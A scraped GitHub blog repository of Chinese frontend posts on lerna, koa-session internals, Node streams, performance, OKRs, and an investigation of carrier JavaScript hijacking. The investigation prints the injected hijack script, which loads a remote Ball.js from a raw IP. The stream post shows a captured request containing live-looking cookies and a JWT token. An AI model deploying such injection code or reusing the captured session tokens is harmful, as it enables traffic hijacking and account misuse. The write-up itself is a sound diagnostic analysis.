inuanfeng / blog Goto Github PK
View Code? Open in Web Editor NEW技术分享记录,个人随笔:https://www.cnblogs.com/woodk/
技术分享记录,个人随笔:https://www.cnblogs.com/woodk/
最近在工作中使用了
lerna
进行前端包的管理,效率提升了很多。所以打算总结一下最近几个月使用 lerna 的一些心得。有那些不足的地方,请包涵。
该篇文章主要包括在使用 lerna 的一些注意事项,和使用过程中与其他工具的整合,最终形成的一个最佳实践。
package 的指的是一个可以通过 npm 包管理工具发布的一种目录结构,翻译过来感觉不太适合,所以就用package 来说明吧。
在最初开开发 package 的时候,还属于一种刀耕火种的阶段。没有什么自动化的工具。发布 package 的时候,都是手动修改版本号。如果 packages 数量不多还可以接受。但是当数量逐渐增多的时候,且这些 packages 之间还有依赖关系的时候,对开发人员来说,就很痛苦了。工作不仅繁琐,而且需要用掉不少时间。
举个例子,如果你要维护两个package。分别为 module-1, module-2。 下面是这两个 package 的依赖关系。
// module-1 package.json
{
"name": "module-1",
"version": "1.0.0",
"dependencies": {
"module-2": "^1.0.0"
}
}
//module-2 package.json
{
"name": "module-2",
"version": "1.0.0",
}
在这样的环境下,module-1 是依赖 module-2 的。如果 module-2 有修改,需要发布。那么你的工作有这些。
这还仅仅只有两个 package,如果依赖关系更复杂,大家可以想想发布的工作量有多大。
lerna 到底是什么呢?lerna 官网上是这样描述的。
A tool for managing JavaScript projects with multiple packages.
这个介绍可以说很清晰了,引入lerna后,上面提到的问题不仅迎刃而解,更为开发人员提供了一种管理多 packages javascript 项目的方式。
git
检测文件改动,自动发布git
提交记录,自动生成 CHANGELOGregistry
地址是否正确。npm config ls
npm install lerna -g
在这个例子中,我将在我本地根目录下初始化一个lerna工程。
lerna-demo
mkdir lerna-demo
cd lerna-demo
lerna init
执行成功后,目录下将会生成这样的目录结构。
- packages(目录)
- lerna.json(配置文件)
- package.json(工程描述文件)
默认情况下,package是放在
packages
目录下的。
// 进入packages目录
cd lerna-demo/packages
// 创建一个packge目录
mkdir module-1
// 进入module-1 package目录
cd module-1
// 初始化一个package
npm init -y
执行完毕,工程下的目录结构如下
--packages
--module-1
package.json
--lerna.json
--package.json
Bootstrap the packages in the current Lerna repo. Installs all of their dependencies and links any cross-dependencies.
cd lerna-demo
lerna bootstrap
在现在的测试 package 中,module-1 是没有任何依赖的,因此为了更加接近真实情况。你可已在 module-1 的package.json
文件中添加一些第三方库的依赖。 这样的话,当你执行完该条命令后,你会发现 module-1 的依赖已经安装上了。
git
工具的配合了。 所以在发布之前,请确认此时该 lerna 工程是否已经连接到git 的远程仓库。你可以执行下面的命令进行查看。git remote -v
// print log
origin [email protected]/iNuanfeng/lerna-demo.git (fetch)
origin [email protected]/iNuanfeng/lerna-demo.git (push)
本篇文章的代码托管在 Github 上。因此会显示此远程链接信息。 如果你还没有与远程仓库链接,请首先在 github 创建一个空的仓库,然后根据相关提示信息,进行链接。
lerna publish
执行这条命令,你就可以根据cmd中的提示,一步步的发布packges了。实际上在执行该条命令的时候,lerna会做很多的工作。
- Run the equivalent of `lerna updated` to determine which packages need to be published.
- If necessary, increment the `version` key in `lerna.json`.
- Update the `package.json` of all updated packages to their new versions.
- Update all dependencies of the updated packages with the new versions, specified with a [caret (^)](https://docs.npmjs.com/files/package.json#dependencies).
- Create a new git commit and tag for the new version.
- Publish updated packages to npm.
到这里为止,就是一个最简单的lerna的工作流了。但是lerna还有更多的功能等待你去发掘。 lerna有两种工作模式,Independent mode和 Fixed/Locked mode,在这里介绍可能会对初学者造成困扰,但因为实在太重要了,还是有必要提一下的。 lerna的默认模式是 Fixed/Locked mode,在这种模式下,实际上 lerna 是把工程当作一个整体来对待。每次发布 packges,都是全量发布,无论是否修改。但是在 Independent mode 下,lerna 会配合Git
,检查文件变动,只发布有改动的packge。
为了能够使 lerna 发挥最大的作用,根据这段时间使用 lerna
的经验,总结出一个最佳实践。下面是一些特性。
Git
提交信息,自动生成 changelog大家应该也可以看出来,在开发这种工程的过程的,最为重要的一点就是规范。因为应用场景各种各样,你必须保证发布的 packge 是规范的,代码是规范的,一切都是有迹可循的。这点我认为是非常重要的。github代码
Session,又称为“会话控制”,存储特定用户会话所需的属性及配置信息。存于服务器,在整个用户会话中一直存在。
然而:
本文将从 koa-session(koa官方维护的session中间件)
的源码详细解读 session 的机制原理。希望大家读完后,会对 session 的本质,以及 session 和 cookie 的区别有个更清晰的认识。
相信大家都知道一些关于 cookie 和 session 的概念,最通常的解释是 cookie 存于浏览器,session 存于服务器。
cookie 是由浏览器支持,并且http请求会在请求头中携带 cookie 给服务器。也就是说,浏览器每次访问页面,服务器都能获取到这次访问者的 cookie 。
但对于 session 存在服务器哪里,以及服务器是通过什么对应到本次访问者的 session ,其实问过一些后端同学,解释得也都比较模糊。因为一般都是服务框架自带就有这功能,都是直接用。背后的原理是什么,并不一定会去关注。
如果我们使用过koa框架,就知道koa自身是无法使用 session 的,这就似乎说明了 session 并不是服务器原生支持,必须由 koa-session 中间件去支持实现。
那它到底是怎么个实现机制呢,接下来我们就进入源码解读。
koa-session:https://github.com/koajs/session
建议感兴趣的同学可以下载代码先看一眼
解读过程中贴出的代码,部分有精简
来看 koa-session 的目录结构,非常简单;主要逻辑集中在 context.js 。
├── index.js // 入口
├── lib
│ ├── context.js
│ ├── session.js
│ └── util.js
└── package.json
先给出一个 koa-session 主要模块的脑图,可以先看个大概:
我们从 koa-session 的初始化,来一步步看下它的执行流程:
先看下 koa-sessin 的使用方法:
const session = require('koa-session');
const Koa = require('koa');
const app = new Koa();
app.keys = ['some secret hurr'];
const CONFIG = {
key: 'koa:sess', // 默认值,自定义cookie中的key
maxAge: 86400000
};
app.use(session(CONFIG, app)); // 初始化koa-session中间件
app.use(ctx => {
let n = ctx.session.views || 0; // 每次都可以取到当前用户的session
ctx.session.views = ++n;
ctx.body = n + ' views';
});
app.listen(3000);
初始化 koa-session 时,会要求传入一个app实例。
实际上,正是在初始化的时候,往 app.context 上挂载了session对象,并且 session 对象是由 lib/context.js
实例化而来,所以我们使用的 ctx.session 就是 koa-session 自己构造的一个类。
我们打开koa-session/index.js
:
module.exports = function(opts, app) {
opts = formatOpts(opts); // 格式化配置项,设置一些默认值
extendContext(app.context, opts); // 划重点,给 app.ctx 定义了 session对象
return async function session(ctx, next) {
const sess = ctx[CONTEXT_SESSION];
if (sess.store) await sess.initFromExternal();
await next();
if (opts.autoCommit) {
await sess.commit();
}
};
};
通过内部的一次初始化,返回一个koa中间件函数。
一步一步的来看,formatOpts 是用来做一些默认参数处理,extendContext 的主要任务是对 ctx 做一个拦截器,如下:
function extendContext(context, opts) {
Object.defineProperties(context, {
[CONTEXT_SESSION]: {
get() {
if (this[_CONTEXT_SESSION]) return this[_CONTEXT_SESSION];
this[_CONTEXT_SESSION] = new ContextSession(this, opts);
return this[_CONTEXT_SESSION];
},
},
session: {
get() {
return this[CONTEXT_SESSION].get();
},
set(val) {
this[CONTEXT_SESSION].set(val);
},
configurable: true,
}
});
}
走到上面这段代码时,事实上就是给 app.context 下挂载了一个“私有”的 ContextSession 对象 ctx[CONTEXT_SESSION]
,有一些方法用来初始化它(如initFromExternal、initFromCookie)。然后又挂载了一个“公共”的 session 对象。
为什么说到“私有”、“公共”呢,这里比较细节。用到了 Symbol 类型,使得外部不可访问到 ctx[CONTEXT_SESSION]
。只通过 ctx.session
对外暴露了 (get/set) 方法。
再来看下 index.js
导出的中间件函数
return async function session(ctx, next) {
const sess = ctx[CONTEXT_SESSION];
if (sess.store) await sess.initFromExternal();
await next();
if (opts.autoCommit) {
await sess.commit();
}
};
这里,将 ctx[CONTEXT_SESSION]
实例赋值给了 sess ,然后根据是否有 opts.store ,调用了 sess.initFromExternal
,字面意思是每次经过中间件,都会去调一个外部的东西来初始化 session ,我们后面会提到。
接着看是执行了如下代码,也即执行我们的业务逻辑。
await next()
然后就是下面这个了,看样子应该是类似保存 session 的操作。
sess.commit();
经过上面的代码分析,我们看到了 koa-session
中间件的主流程以及保存操作。
那么 session 在什么时候被创建呢?回到上面提到的拦截器 extendContext
,它会在接到http请求的时候,从 ContextSession类
实例化出 session 对象。
也就是说,session 是中间件自己创建并管理的,并非由web服务器产生。
我们接着看核心功能 ContextSession
。
先看构造函数:
constructor(ctx, opts) {
this.ctx = ctx;
this.app = ctx.app;
this.opts = Object.assign({}, opts);
this.store = this.opts.ContextStore ? new this.opts.ContextStore(ctx) : this.opts.store;
}
居然啥屁事都没干。往下看 get()
方法:
get() {
const session = this.session;
// already retrieved
if (session) return session;
// unset
if (session === false) return null;
// cookie session store
if (!this.store) this.initFromCookie();
return this.session;
}
噢,原来是一个单例模式(等到使用时候再生成对象,多次调用会直接使用第一次的对象)。
这里有个判断,是否传入了 opts.store 参数,如果没有则是用 initFromCookie()
来生成 session 对象。
那如果传了 opts.store 呢,又啥都不干吗,WTF?
显然不是,还记得初始化里提到的那句 initFromExternal
函数调用么。
if (sess.store) await sess.initFromExternal();
所以,这里是根据是否有 opts.store ,来选择两种方式不同的生成 session 方式。
问:store是什么呢?
答:store可以在
initFromExternal
中看到,它其实是一个外部存储。问:什么外部存储,存哪里的?
答:同学莫急,先往后看。
initFromCookie() {
const ctx = this.ctx;
const opts = this.opts;
const cookie = ctx.cookies.get(opts.key, opts);
if (!cookie) {
this.create();
return;
}
let json = opts.decode(cookie); // 打印json的话,会发现居然就是你的session对象!
if (!this.valid(json)) { // 判断cookie过期等
this.create();
return;
}
this.create(json);
}
在这里,我们发现了一个很重要的信息,session 居然是加密后直接存在 cookie 中的。
我们 console.log
一下 json
变量,来验证下:
async initFromExternal() {
const ctx = this.ctx;
const opts = this.opts;
let externalKey;
if (opts.externalKey) {
externalKey = opts.externalKey.get(ctx);
} else {
externalKey = ctx.cookies.get(opts.key, opts);
}
if (!externalKey) {
// create a new `externalKey`
this.create();
return;
}
const json = await this.store.get(externalKey, opts.maxAge, { rolling: opts.rolling });
if (!this.valid(json, externalKey)) {
// create a new `externalKey`
this.create();
return;
}
// create with original `externalKey`
this.create(json, externalKey);
}
可以看到 store.get()
,有一串信息是存在 store 中,可以 get 到的。
而且也是在不断地要求调用 create()
。
create()
到底做了什么呢?
create(val, externalKey) {
if (this.store) this.externalKey = externalKey || this.opts.genid();
this.session = new Session(this, val);
}
它判断了 store ,如果有 store ,就会设置上 externalKey
,或者生成一个随机id。
基本可以看出,是在 sotre 中存储一些信息,并且可以通过 externalKey 去用来获取。
由此基本得出推断,session 并不是服务器原生支持,而是由web服务程序自己创建管理。
存放在哪里呢?不一定要在服务器,可以像 koa-session 一样*气地放在 cookie 中!
接着看最后一个 Session 类。
老规矩,先看构造函数:
constructor(sessionContext, obj) {
this._sessCtx = sessionContext;
this._ctx = sessionContext.ctx;
if (!obj) {
this.isNew = true;
} else {
for (const k in obj) {
// restore maxAge from store
if (k === '_maxAge') this._ctx.sessionOptions.maxAge = obj._maxAge;
else if (k === '_session') this._ctx.sessionOptions.maxAge = 'session';
else this[k] = obj[k];
}
}
}
接收了 ContextSession 实例传来 sessionContext 和 obj ,其他没有做什么。
Session 类仅仅是用于存储 session 的值,以及_maxAge,并且提供了toJSON方法用来获取过滤了_maxAge等字段的,session对象的值。
看完以上代码,我们大致知道了 session 可以从外部或者 cookie 中取值,那它是如何保存的呢,我们回到 koa-session/index.js
中提到的 commit
方法,可以看到:
await next();
if (opts.autoCommit) {
await sess.commit();
}
思路立马就清晰了,它是在中间件结束 next()
后,进行了一次 commit()
。
commit()
方法,可以在 lib/context.js
中找到:
async commit() {
// ...省略n个判断,包括是否有变更,是否需要删除session等
await this.save(changed);
}
再来看save()
方法:
async save(changed) {
const opts = this.opts;
const key = opts.key;
const externalKey = this.externalKey;
let json = this.session.toJSON();
// save to external store
if (externalKey) {
await this.store.set(externalKey, json, maxAge, {
changed,
rolling: opts.rolling,
});
if (opts.externalKey) {
opts.externalKey.set(this.ctx, externalKey);
} else {
this.ctx.cookies.set(key, externalKey, opts);
}
return;
}
json = opts.encode(json);
this.ctx.cookies.set(key, json, opts);
}
豁然开朗了,实际就是默认把数据 json ,塞进了 cookie ,即 cookie 来存储加密后的 session 信息。
然后,如果设置了外部 store ,会调用 store.set()
去保存 session 。具体的保存逻辑,保存到哪里,由 store 对象自己决定!
koa-session 的做法说明了,session 仅仅是一个对象信息,可以存到 cookie ,也可以存到任何地方(如内存,数据库)。存到哪,可以开发者自己决定,只要实现一个 store 对象,提供 set,get 方法即可。
通过以上源码分析,我们已经得到了我们文章开头那些疑问的答案。
koa-session 中还有哪些值得我们思考呢?
不得不说,store 的插件式设计非常优秀。koa-session 不必关心数据具体是如何存储的,只要插件提供它所需的存取方法。
这种插件式架构,反转了模块间的依赖关系,使得 koa-session 非常容易扩展。
这种默认把用户信息存储在 cookie 中的方式,始终是不安全的。
所以,现在我们知道使用的时候要做一些其他措施了。比如实现自己的 store ,把 session 存到 redis 等。
这其实要从 token 的使用方式来说了,用途会更灵活,这里就先不多说了。
后面会写一下各种登录策略的原理和比较,有兴趣的同学可以关注我一下。
回顾下文章开头的几个问题,我们已经有了明确的答案。
那么除了 koa-session 这种方式来实现用户登录,还有其他方法吗?
其实还有很多,可以存储 cookie 实现,也可以用 token 方式。另外关于登录还有单点登录,第三方登录等。如果大家有兴趣,可以在后面的文章继续给大家剖析。
原文链接:#4
stream(流)是Node.js提供的又一个仅在服务区端可用的模块,流是一种抽象的数据结构。Stream 是一个抽象接口,Node 中有很多对象实现了这个接口。例如,对http 服务器发起请求的request 对象就是一个 Stream,还有stdout(标准输出流)。
通过本文,你会知道 stream 是什么,以及 strem 在 http 服务中发挥着什么作用。
假设楼上有一桶水,想倒往楼下的水桶。直接往下倒,肯定会洒出来,那么在两个水桶间加一根管子(pipe),就可以让楼上的水,逐渐地流到楼下的水桶内:
看了前面稍微了解 Node.js 的同学可能就要问了,流的作用不就是传递数据麽,也就是把一个地方数据拷贝到另一个地方,不用流也可以这样实现:
var water = fs.readFileSync('a.txt', {encoding: 'utf8'});
fs.writeFileSync('b.txt', water);
但这样做有个致命问题:
处理数据量较大的文件时不能分块处理,导致速度慢,内存容易爆满。
const rs = fs.createReadStream('a.mp4')
const ws = fs.createWriteStream('b.mp4')
rs.pipe(ws) // pipe自动调用了 data, end 等事件
其实 stream 不仅可以用来处理文件,它可以处理任何一种数据提供源。下面来看看 stream 在 http 服务中,扮演着什么样的角色。
先来几个灵魂拷问:
下面一步步来深入了解 Node.js 的 http 服务。
Node 可以不需要 Apache、Nginx、IIS,自身就可以搭建可靠的 http 服务。
创建一个简单的 http 服务:
const http = require('http');
const server = http.createServer(function (req, res) {
res.writeHead(200, {
"Content-Type": "text/html;charset=UTF-8"
})
res.end("欢迎来到推啊!!!")
})
server.listen(3000, function () {
console.log('listening port 3000')
})
Node 是如何监听 http 请求的,内部的处理机制是什么。
http.createServer() 方法返回的是 http 模块封装的一个基于事件的 http 服务器。
http.createServer() 封装了 http.Server()
const http = require('http');
const server = new http.Server();
server.on('request', function (req, res) {
res.writeHead(200, {
"Content-Type": "text/html;charset=UTF-8"
})
res.end("欢迎来到推啊!!!")
})
server.listen(3000, function () {
console.log('listening port 3000');
});
Koa 框架的本质是在 http 模块的上层,封装了自己的 ctx 对象,以及实现了洋葱模型的中间件体系。
Node.js 中的 HTTP 接口旨在支持传统上难以使用的协议的许多特性。 特别是,大块的、可能块编码的消息。 接口永远不会缓冲整个请求或响应,用户能够流式传输数据。
为了支持所有可能的 HTTP 应用程序,Node.js 的 HTTP API 都非常底层。 它仅进行流处理和消息解析。
http.Server() 是基于事件的,主要事件有:
那么,http 模块是如何监听获取浏览器发来的请求呢?
这就需要进一步看看 Node.js 中,http 模块是如何实现的了。
http.Server 继承自: <net.Server>
net 模块用于创建基于流的 TCP 或 IPC 的服务器(net.createServer())与客户端(net.createConnection())
创建 TCP 服务:
const net = require('net');
const server = net.createServer((c) => {
// 'connection' 监听器。
console.log('客户端已连接');
c.on('end', () => {
console.log('客户端已断开连接');
});
c.write('你好\r\n');
c.pipe(c);
});
server.on('error', (err) => {
throw err;
});
server.listen(8124, () => {
console.log('服务器已启动');
});
telnet 进行测试:
需要注意的是,net 模块创建出来的是一个 TCP 服务,而它监听接受到的数据,是一个 stream(流)
net 模块接收到的内容是没法直接打印的,需要通过 strema 的方式来处理。
下面代码接受并打印浏览器请求:
const net = require('net');
const fs = require('fs');
const server = net.createServer((c) => {
let stream = fs.createWriteStream('test.txt');
c.pipe(stream).on('finish', () => {
console.log('Done');
});
c.on('error', (err) => {
console.log(err);
});
})
server.listen('4000', () => {
console.log('服务器已启动');
});
在浏览器输入 localhost:4000 后,在服务端目录下生成 test.txt 文件:
GET / HTTP/1.1
Host: localhost:4000
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ko;q=0.6
Cookie: UM_distinctid=16e3ab5c769669-0aa68fde01b9b3-37647e05-13c680-16e3ab5c76a1ec; _9755xjdesxxd_=32; gdxidpyhxdE=6EK5fbKotSpp2Uiam1adlQW2uSUV%2FlvMMzX0Lo2iqcBIdSnV4Gf2CIYG2LZevagi2DhNAVlVmPjg4WyCs0EXamAO%2B3tQHgmnyrEj14hrmaV6Ev2MHAdWnIR9giTvXoIlRicy1MhUZ007j%5C%5C84xvU4PmLl0sEbHlkQ4Tvefuj9Ri%2B6D%2FZ%3A1574856606158; YD00636840014594%3AWM_NI=dKC1nbSYkvmP3bFoHMIDoTTp82bhdKlE9PKhaaJmK%2FO5hJLvRckcK9ONax49iBl7ML0AK8sRz90Qd%2Bexn2ABVSxcFOebaImloWcpuWVLQ8eRrrbgDEaIMdym983xRZqnV1c%3D; YD00636840014594%3AWM_NIKE=9ca17ae2e6ffcda170e2e6eeafd83a8aea9dd7ed5ca9b88ba3d44a828e8faaf23d8ab3ff9bec7c86b7a7d0b12af0fea7c3b92aa8958dd2ed6a9187a597f05cf1be8a90cb478b9ca1b5d77cfceeae89e741b09bf7b1ca64a3bf868eca258deba8abcf7e92bda584ca338d92af99b733ab9ea4d8d048f49f85d9f25abae700b2e721a7a8a2d3c44a968db884c545a7beafaaf068ad89ad91f85d96949fd9e85ab2aeae88c74fa3978385fc67fbe8fd99d152b3b29ad2e237e2a3; YD00636840014594%3AWM_TID=PZ3AtyPUGXFABQFEABZp7I3hmitUyn7z; CNZZDATA1278176396=591860064-1572943020-%7C1574943751; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjI4LCJpYXQiOjE1NzY0NjQzMjIsImV4cCI6MTU3NzA2OTEyMn0.EEdBvJMRnnu2-_qli_Jqc2D6CtxocEzZjEz_hWv4qEk; _yapi_uid=28
梳理一下 http 服务的整个调用链路:
在深入了解 http 模块内部的基本原理后,可以想想我们在应用场景中,可以利用 stream(流)做到哪些事情
可以尝试自己实现一下平时接触到的一些应用,如:
最近在给推啊的互动小游戏做大盘的一个性能优化,借此体系化地整理一下一些前端性能优化的基本概念和进阶手段。
推啊其实应该是对h5性能要求极其高的业务,我们的场景主要是互动小游戏,投放于各个top APP,对性能要求严苛,特别是弱网环境下的用户体验。
首屏渲染提速,弹层交互白屏,预加载后续资源,dns,懒加载不重要资源
体积,提取首屏资源预加载,loading,骨架屏,内联样式
介绍cdn缓存,离线缓存应用,webview缓存,离线缓存更新机智,第三方微信缓存的处理,数据识别
介绍,自己实现,cdn支持,如何加载,css背景图的处理,img的处理,异步资源的处理封装,webpack插件
gif压缩,png压缩,jpg压缩,tinypng,进阶式图片压缩工具工程化,服务端压缩工具应用
原理,工程化,webpack插件原理,服务端配置图的雪碧图,base64的选择
webpack对js的压缩,分包,runtime,webpackjsonp问题内联,路由及分模块
非js语言,js语言,框架ssr,预渲染puppeteer,预渲染变种,约定处理,重复渲染处理,框架的处理,原理
浏览器内核分析,重绘触发,对性能的影响
OKR(Objectives and Key Results),目标与关键成果工作法。
OKR 分为目标 O 和 关键成果 KR,O 是目标代表目的地,KR 是关键成果代表里程碑。
OKR可以分为业务目标、技术目标、个人成长目标;
OA打分时,OKR的完成度作为参考,更关注你的过程和成长;
简化的自评标准
1.0 分:不可能做到,但实际做到了。
0.7 分:希望能做到,实际也做到了。
0.3 分:肯定能做到,实际也做到了。
0 分:肯定能做到,但实际没做到。
天眼(前端监控系统)有一条异常信息每天“长居榜首”:Uncaught ReferenceError: $ is not defined
这条报错信息,从字面意义上来看,很简单:$ 变量未定义,即:访问 Zepto 全局变量失败,但是上报频率太过于频繁了,且长期未得到解决,而引起关注。
诸如此类的报错还有:
初步判断:程序代码中访问
$
报错,多半是程序初始化时window.$
挂载失败导致
带着初步结论,在天眼上查看 报错详情,依托于 sourceMap 的功能,可以定位到源码报错的位置,如下图代码:
代码第 7 行,调用 $(() => {...})
时报错,也印证了最初的设想,由于发生在页面初始化阶段,这样的报错会直接导致页面打不开,所以这是不得不优先解决的问题!!
切记:
排查问题的第一步永远是: 还原现场
排查问题的第一步永远是: 还原现场
排查问题的第一步永远是: 还原现场
然而,“问题果然没有这么简单”,死活复现不了...,所以,只能理(纯)性(属)推(瞎)理(猜):
问题聚焦:究竟是在什么情况下会导致 window.$ 挂载失败?
在真正开始排查这个问题之前,首先得了解关于 window.$
的以下两点疑问:
找到 window.$
最初被挂载的地方?如下:
// units/business/base/index.js
import 'units/basics/polyfill'
import 'units/basics/zepto' // 引入 zepto 模块,即 window.$ 赋值
import 'units/basics/statistics'
import 'units/basics/zepto-cookie'
import { downloadApp } from 'units/bussiness/download
了解 html 页面载入 Zepto 相关代码?如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>活动</title>
</head>
<body>
<div id="db-content">hello world</div>
<!-- 公共模块,包含 Zepto -->
<script type="text/javascript" src="//yun.tuisnake.com/h5-mami/dist/public.b175aded3eef219d95b4.js" crossorigin="anonymous"
></script>
<!-- 业务代码,入口 -->
<script type="text/javascript" src="//yun.tuisnake.com/h5-mami/dist/activity-turnCard-v2-entry.6515b41ce7de327a4289.js" crossorigin="anonymous"
></script>
</body>
</html>
总结:
也就是说, entry.js 在调用 public.js 中的 window.$ 时,发现 window.$ 不对而报错,于是对于排查原因而言,就会有一些设想:
题外话一个不靠谱的假想:
public.js 和 entry.js 是并行加载的,执行的顺序不确定(这是错误的)❌
加载的确是并行的,执行顺序还是取决于 script 标签的加载顺序(除非设置了 defer 或 async 属性)
✔️
原因:由于 public.js 和 entry.js 一前一后分开加载的,所以如果 public.js 在执行 zepto 代码之前报错了,entry.js 也会照常执行,只不过执行时会报错罢了。
基于这样的设想,就只需要观察同一个活动(如:turnCard_v2_vm)在同一时段内(如:一个小时内),是否有关于 public.js 引发的错误?
结果是:public.js 的确是有一些报错,但是从错误量级来看,这并不是导致 $ is not defined
大量报错的根本原因!
所以:该设想不能从根本上解决不了当前问题,但是也的确说明了有这方面问题,只是比较少量。
原因:由于报错是偶发性,会不会存在异步加载(如:插件)的代码,不小心对
window.$
进行了误操作?从而导致有些时候代码报错。
基于这样的设想,只能去仔细阅读一个活动加载过程中,所需要执行的的所有代码。
结果是:不存在这样的代码。
所以:这个设想也不成立,但是全局变量的使用着实让人不放心!使用 模块化 + externals Zepto 会不会更好点?!
不经感慨,排查哪有那么容易:
按照正常的排查思路,到这里基本就断了线索!且暂时是没有更好的方向.. 有的大概只剩下 “决心” 了吧.. (呵呵呵 🙄)
然而,突如其来的喜出望外..
正当看着这莫名会报错活动页面,无从下手时,“手贱” 用钉钉扫描了下它的二维码,“**,复现了!!”(PS:页面无法正常渲染 -- “白屏”了..)
立马改用 手机端 Safari
的打开,多次刷新后,是可以复现的(也证明跟 App 无关).. 这就好办了!因为可以 《用 Safari 调试 H5》,意味着具体的报错信息是可以被捕获到的!!
一番调试,有了点眉目:
令人惊讶的是:是因为 public.js 出现了加载失败的情况,从而导致报错!!(之前我从没有怀疑过 CDN,事实上我也确实不该怀疑.. 后面会说)
那么,为什么 public.js 会加载失败呢?仔细查看控制台的信息:
大概的意思是说:当前页面(http://activity.popcornta.com)试图访问跨域资源文件(http://yun.tuisnake.com),但却又没有遵循 CORS,而导致资源加载失败。
而跨域资源共享(CORS) 是一种机制,简单来说就是:让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。
理论上,要解决跨域问题,只要在在请求返回内容里,添加以下响应头即可:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
于是,查看 public.js 是否添加了上述响应头:
结论是:无法查看,大概是因为浏览器判断跨域访问资源失败,出于安全考虑,不展现任何内容,(而事实上内容是已经下载下来的)。
那么,通过 Charles 抓包吧!!
因为之前在 PC 上是死活无法复现的,只有手机才可以复现.. 初步怀疑就是网络问题,所以用手机开了热点,PC 链接热点进行抓包。
成功的抓到了包:📎cors.chls.zip
在 PC 上,用 Chrome 也复现了报错:
通过 charles 发现,响应头里没有诸如 Access-Control-Allow-Origin
的字段:
原因找到了,第一直觉是:觉得 CDN 是否配置问题?找到了运维,确实看到已经配置了的.. 但是为啥响应头一会有一会又没有呢?求助于阿里云的技术客服.,经过一系列排查,他们确认不是 CDN 节点问题.. 最后我也认定确实不是 CDN 问题,是因为我们使用的除了阿里云的 CDN,还有腾讯云的 CDN 域名也会出现同样的问题,不可能两个大厂都存在这种问题...
回过头来 ,仔细去看刚刚抓的包,发现它的返回内容不对:
这根本不是 public.js 原有的内容,被篡改了... (似乎被谁给劫持了!!)
格式化代码,一看究竟:
(function() {
try {
var ab = "http://yun.tuisnake.com/h5-mami/dist/public.6d8af586f37c07b2157e.js?visitDstTime=1",
d = document,
ss = d.getElementsByTagName("script"),
h = ss[0].parentNode,
_add = function(s, c, async) {
var k = d.createElement("script");
k.src = s;
if (c) {
k.charset = c
}
if (async) {
k.async = true;
k.defer = true
}
h.appendChild(k)
};
var zn = ss.length;
try {
d.write('<script src="' + ab + '"><\/script>')
} catch (e) {}
if (zn == d.getElementsByTagName("script").length) {
_add(ab)
}
var b = function(m) {
var e = d.createElement("iframe");
e.style.cssText = "display:none;";
e.src = m;
h.appendChild(e)
};
if (self != top) {
return
}
if (window.__qzxsw_pwe13) {
return
}
window.__qzxsw_pwe13 = 1;
var f = function() {
if (!document.body) {
return window.setTimeout(function() {
f()
}, 300)
}
_q_w_1_x = {
g: "2",
p: "3YdIT9WodagKe5ajJL9mJA%3D%3D",
u: "A8000C1B209FB4C89BF8CD7386B33A91",
f: "&rule_id=257"
};
_add("//124.90.34.170:9527/ui/js/Ball.js?visitDstTime=2", "utf-8", true)
};
f()
} catch (e) {}
})();
代码比较简单,就是除了再次请求加载原本的内容(public.js)之外,会额外请求一个奇怪的不知道哪里来的 Ball.js,查看它的内容,一行注释引起注意:
浙江联通!... 这大概就是运营商的手段吧! 赤裸裸的运营商 JS 劫持.. (怪不得 WIFI 下死活不能复现)
这就能解释了,为啥响应头会丢失?
因为运营商劫持了 JS,没有经过 CDN,自然响应头里不一定有
Access-Control-Allow-Origin: *
(简直不敢奢望..)
而在反复测试的过程当中,发现有些 JS 也会被劫持,但并不会出现跨域报错.. 这是为什么呢?
知识补齐:
但是有两个情况,需要注意跨域:
(new Image).crossOrigin = 'anonymous'
用于 Canvas 图片绘制,关于更多<script crossorigin="anonymous">
添加 crossorigin 属性,想要获取关于 script 具体的报错信息(一般用于前端监控平台),关于更多即:设置了 crossorigin 属性发出的请求头里会包含 Origin
字段,代表会触发 CORS preflight (预检),这就要求被访问的服务器需要支持 CORS,即:响应头里包含 Access-Control-Allow-Origin
等字段,就像下面这样:
故,有些 js 被劫持了却不报错的原因:
其实是那些 <script> 刚好没有添加 crossorigin 属性,
所以也从另一个角度来告诉我们,如果在没法解决运营商劫持的情况下,只能舍弃给 script 标签 crossorigin 属性,以保证代码可以正常运行(总比页面出不来要好)。
解决运营商劫持的最好办法当然是所有页面/资源都采用 https 的形式访问。
当现状是,有很多活动页面已经以 http 的形式投放出去了,短时间内是无法立马升级的.. (涉及到太多合作媒体了)
所以,最后采用 降级 的方案:
Script Error.
)A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.